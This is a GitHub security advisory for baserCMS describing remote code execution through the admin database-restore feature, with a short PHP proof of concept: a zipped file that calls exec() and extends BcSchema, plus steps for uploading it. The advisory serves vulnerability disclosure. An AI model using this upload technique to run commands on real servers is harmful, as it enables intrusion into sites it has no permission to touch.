Skip to main content
Menu
Advisories

Remote Code Execution via Database Restore Feature

GHSA-5HVM-279M-GG7RPublished Updated GitHub

Description

github.com/baserproject/basercms/commit/15fa8f2faad788bb89e3f03334531391d32941fc

The isValidSchemaFile fix is insufficient to prevent RCE. Since the uploaded file is executed upon require_once, RCE succeeds regardless of whether the drop/create methods are overridden; omitting them merely raises an error.

PoC

rce.php:

<?php
$command = 'echo DATE=$(date +%Y-%m-%d_%H:%M:%S) UID=$(id -u) >> /tmp/rce.txt';
exec($command);

class aaa extends BcSchema {

}
zip ./rce.zip rce.php

Upload the archive via Utility -> Data Maintenance -> Restoring Data.

<img width="660" height="361" alt="Screenshot_20260404_090040" src="github.com/user-attachments/assets/976512e5-7cb5-4d4e-b807-d27b140faaf1" />

An error is displayed:

<img width="554" height="315" alt="Screenshot_20260404_090012" src="github.com/user-attachments/assets/ddbb6d64-4dc9-4f3b-99c3-7d9f8217b246" />

Nevertheless, the RCE has already executed.

---

Although administrator privileges are required, executing code through the database restore feature constitutes unintended behavior. The restore process should therefore operate on data rather than code, as this class of issue cannot be fully mitigated through validation alone.

Affected versions

References

GitHub · baserproject/basercms